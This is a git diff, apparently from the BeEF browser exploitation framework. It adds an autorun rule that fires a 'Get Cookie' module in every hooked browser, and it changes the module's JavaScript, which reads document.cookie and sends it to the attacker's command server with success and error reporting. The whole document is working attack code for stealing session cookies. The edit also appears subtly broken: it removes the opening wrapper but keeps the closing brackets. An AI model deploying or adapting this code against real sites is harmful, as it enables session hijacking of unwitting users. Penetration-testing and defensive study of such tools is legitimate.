diff --git a/arerules/get_cookie.json b/arerules/get_cookie.json new file mode 100644 index 000000000..fc53c5f4e --- /dev/null +++ b/arerules/get_cookie.json @@ -0,0 +1,18 @@ +{ + "name": "Get Cookie", + "author": "@benichmt1", + "browser": "ALL", + "browser_version": "ALL", + "os": "ALL", + "os_version": "ALL", + "modules": [ + {"name": "get_cookie", + "condition": null, + "options": { + } + } + ], + "execution_order": [0], + "execution_delay": [0], + "chain_mode": "sequential" +} diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js index 865f2c2fc..e1dfc586d 100644 --- a/modules/browser/hooked_domain/get_cookie/command.js +++ b/modules/browser/hooked_domain/get_cookie/command.js @@ -4,9 +4,12 @@ // See the file 'doc/COPYING' for copying permission // -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie); - +try { + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); + beef.debug("[Get Cookie] Cookie captured: "+document.cookie); +}catch(e){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); + beef.debug("[Get Cookie] Error"); +} });